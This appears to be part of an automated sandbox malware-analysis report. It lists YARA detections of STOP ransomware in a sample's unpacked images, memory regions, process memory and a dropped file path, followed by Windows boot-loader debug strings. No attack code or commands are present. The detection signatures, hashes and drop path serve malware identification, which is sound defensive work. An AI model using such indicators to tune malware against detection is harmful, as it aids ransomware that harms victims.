Source: 4.2.f6ffg1sZS2.exe.f60000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 4.2.f6ffg1sZS2.exe.f60000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 3.0.f6ffg1sZS2.exe.f60000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 3.0.f6ffg1sZS2.exe.f60000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 8.0.f6ffg1sZS2.exe.f60000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 8.0.f6ffg1sZS2.exe.f60000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 0.2.f6ffg1sZS2.exe.780000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0.2.f6ffg1sZS2.exe.780000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 2.0.f6ffg1sZS2.exe.780000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 2.0.f6ffg1sZS2.exe.780000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 8.2.f6ffg1sZS2.exe.f60000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 8.2.f6ffg1sZS2.exe.f60000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 3.2.f6ffg1sZS2.exe.f60000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 3.2.f6ffg1sZS2.exe.f60000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 2.2.f6ffg1sZS2.exe.780000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 2.2.f6ffg1sZS2.exe.780000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 0.0.f6ffg1sZS2.exe.780000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0.0.f6ffg1sZS2.exe.780000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 4.0.f6ffg1sZS2.exe.f60000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 4.0.f6ffg1sZS2.exe.f60000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000004.00000002.1838282354.000000000102C000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000004.00000002.1838199211.0000000000F61000.00000020.00000001.01000000.00000007.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000008.00000002.1924959138.000000000102C000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000000.00000000.1691522729.000000000084C000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000000.00000000.1691452166.0000000000781000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000002.00000000.1714906158.000000000084C000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000003.00000002.2943409052.000000000102C000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000002.00000002.2406816822.0000000000781000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000000.00000002.1715797633.000000000084C000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000008.00000002.1924565660.0000000000F61000.00000020.00000001.01000000.00000007.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000003.00000000.1718049214.000000000102C000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000003.00000000.1717930975.0000000000F61000.00000020.00000001.01000000.00000007.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000000.00000003.1705992620.0000000003291000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000002.00000002.2406934156.000000000084C000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000004.00000000.1824028423.0000000000F61000.00000020.00000001.01000000.00000007.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000000.00000002.1715727239.0000000000781000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000008.00000000.1904985502.0000000000F61000.00000020.00000001.01000000.00000007.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000004.00000000.1824109990.000000000102C000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000003.00000002.2943336982.0000000000F61000.00000020.00000001.01000000.00000007.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000008.00000000.1905060478.000000000102C000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000002.00000000.1714698874.0000000000781000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: f6ffg1sZS2.exe PID: 6884, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: f6ffg1sZS2.exe PID: 1072, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: f6ffg1sZS2.exe PID: 2120, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: f6ffg1sZS2.exe PID: 5652, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: f6ffg1sZS2.exe PID: 3736, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe, type: DROPPED	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe, type: DROPPED	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111

Source: winload_prod.pdb.2.dr	Binary string: d:\os\obj\amd64fre\minkernel\boot\environ\lib\io\device\efi\objfre\amd64\block.obj
Source: winload_prod.pdb.2.dr	Binary string: d:\os\obj\amd64fre\minkernel\boot\environ\lib\io\device\efi\objfre\amd64\nkp.obj
Source: winload_prod.pdb.2.dr	Binary string: d:\os\obj\amd64fre\minkernel\boot\environ\lib\io\device\efi\objfre\amd64\usb.obj
Source: winload_prod.pdb.2.dr	Binary string: d:\os\obj\amd64fre\minkernel\boot\environ\lib\io\device\efi\objfre\amd64\tcglib.objd:\os\public\amd64fre\onecore\internal\minwin\priv_sdk\lib\amd64\boot\efi\device.lib
Source: winload_prod.pdb.2.dr	Binary string: d:\os\obj\amd64fre\minkernel\boot\environ\lib\io\device\efi\objfre\amd64\guiddef.obj
Source: winload_prod.pdb.2.dr	Binary string: d:\os\obj\amd64fre\minkernel\boot\environ\lib\io\device\efi\objfre\amd64\ramapi.objd:\os\public\amd64fre\onecore\internal\minwin\priv_sdk\lib\amd64\boot\efi\device.lib
Source: winload_prod.pdb.2.dr	Binary string: d:\os\obj\amd64fre\minkernel\boot\environ\lib\io\device\efi\objfre\amd64\diskapi.objd:\os\public\amd64fre\onecore\internal\minwin\priv_sdk\lib\amd64\boot\efi\device.lib
Source: winload_prod.pdb.2.dr	Binary string: d:\os\obj\amd64fre\minkernel\boot\environ\lib\io\device\efi\objfre\amd64\sdiapi.obj
Source: winload_prod.pdb.2.dr	Binary string: d:\os\obj\amd64fre\minkernel\boot\environ\lib\io\device\efi\objfre\amd64\blockapi.objd:\os\public\amd64fre\onecore\internal\minwin\priv_sdk\lib\amd64\boot\efi\device.lib
Source: winload_prod.pdb.2.dr	Binary string: d:\os\obj\amd64fre\minkernel\boot\environ\lib\io\device\efi\objfre\amd64\uwfapi.objd:\os\public\amd64fre\onecore\internal\minwin\priv_sdk\lib\amd64\boot\efi\device.lib
Source: winload_prod.pdb.2.dr	Binary string: d:\os\obj\amd64fre\minkernel\boot\environ\lib\io\device\efi\objfre\amd64\locate.objd:\os\public\amd64fre\onecore\internal\minwin\priv_sdk\lib\amd64\boot\efi\device.lib
Source: winload_prod.pdb.2.dr	Binary string: d:\os\obj\amd64fre\minkernel\boot\environ\lib\io\device\efi\objfre\amd64\disk.obj
Source: winload_prod.pdb.2.dr	Binary string: d:\os\obj\amd64fre\minkernel\boot\environ\lib\io\device\efi\objfre\amd64\sdiapi.objd:\os\public\amd64fre\onecore\internal\minwin\priv_sdk\lib\amd64\boot\efi\device.lib
Source: winload_prod.pdb.2.dr	Binary string: d:\os\obj\amd64fre\minkernel\boot\environ\lib\io\device\efi\objfre\amd64\blktable.objd:\os\public\amd64fre\onecore\internal\minwin\priv_sdk\lib\amd64\boot\efi\device.lib
Source: winload_prod.pdb.2.dr	Binary string: d:\os\obj\amd64fre\minkernel\boot\environ\lib\io\device\efi\objfre\amd64\blocksup.objd:\os\public\amd64fre\onecore\internal\minwin\priv_sdk\lib\amd64\boot\efi\device.lib
Source: winload_prod.pdb.2.dr	Binary string: d:\os\obj\amd64fre\minkernel\boot\environ\lib\io\device\efi\objfre\amd64\partapi.objd:\os\public\amd64fre\onecore\internal\minwin\priv_sdk\lib\amd64\boot\efi\device.lib
Source: winload_prod.pdb.2.dr	Binary string: d:\os\obj\amd64fre\minkernel\boot\environ\lib\io\device\efi\objfre\amd64\uwfapi.obj
Source: winload_prod.pdb.2.dr	Binary string: d:\os\obj\amd64fre\minkernel\boot\environ\lib\io\device\efi\objfre\amd64\ramapi.obj
Source: winload_prod.pdb.2.dr	Binary string: d:\os\obj\amd64fre\minkernel\boot\environ\lib\io\device\efi\objfre\amd64\debugport.obj
Source: winload_prod.pdb.2.dr	Binary string: d:\os\obj\amd64fre\minkernel\boot\environ\lib\io\device\efi\objfre\amd64\debugport.objd:\os\public\amd64fre\onecore\internal\minwin\priv_sdk\lib\amd64\boot\efi\device.lib
Source: winload_prod.pdb.2.dr	Binary string: d:\os\obj\amd64fre\minkernel\boot\environ\lib\io\device\efi\objfre\amd64\fve.objd:\os\public\amd64fre\onecore\internal\minwin\priv_sdk\lib\amd64\boot\efi\device.lib
Source: winload_prod.pdb.2.dr	Binary string: d:\os\obj\amd64fre\minkernel\boot\environ\lib\io\device\efi\objfre\amd64\fvelog.objd:\os\public\amd64fre\onecore\internal\minwin\priv_sdk\lib\amd64\boot\efi\device.lib
Source: winload_prod.pdb.2.dr	Binary string: d:\os\obj\amd64fre\minkernel\boot\environ\lib\io\device\efi\objfre\amd64\fveretailunlock.obj
Source: winload_prod.pdb.2.dr	Binary string: d:\os\obj\amd64fre\minkernel\boot\environ\lib\io\device\efi\objfre\amd64\blktable.obj
Source: winload_prod.pdb.2.dr	Binary string: d:\os\obj\amd64fre\minkernel\boot\environ\lib\io\device\efi\objfre\amd64\udp.obj
Source: winload_prod.pdb.2.dr	Binary string: d:\os\obj\amd64fre\minkernel\boot\environ\lib\io\device\efi\objfre\amd64\seccmd.obj
Source: winload_prod.pdb.2.dr	Binary string: d:\os\obj\amd64fre\minkernel\boot\environ\lib\io\device\efi\objfre\amd64\uriapi.objd:\os\public\amd64fre\onecore\internal\minwin\priv_sdk\lib\amd64\boot\efi\device.lib
Source: winload_prod.pdb.2.dr	Binary string: d:\os\obj\amd64fre\minkernel\boot\environ\lib\io\device\efi\objfre\amd64\fveretailunlock.objd:\os\public\amd64fre\onecore\internal\minwin\priv_sdk\lib\amd64\boot\efi\device.lib
Source: winload_prod.pdb.2.dr	Binary string: d:\os\obj\amd64fre\minkernel\boot\environ\lib\io\device\efi\objfre\amd64\fvelog.obj
Source: winload_prod.pdb.2.dr	Binary string: d:\os\obj\amd64fre\minkernel\boot\environ\lib\io\device\efi\objfre\amd64\vhdutil.objd:\os\public\amd64fre\onecore\internal\minwin\priv_sdk\lib\amd64\boot\efi\device.lib
Source: winload_prod.pdb.2.dr	Binary string: d:\os\obj\amd64fre\minkernel\boot\environ\lib\io\device\efi\objfre\amd64\vmbusapi.obj
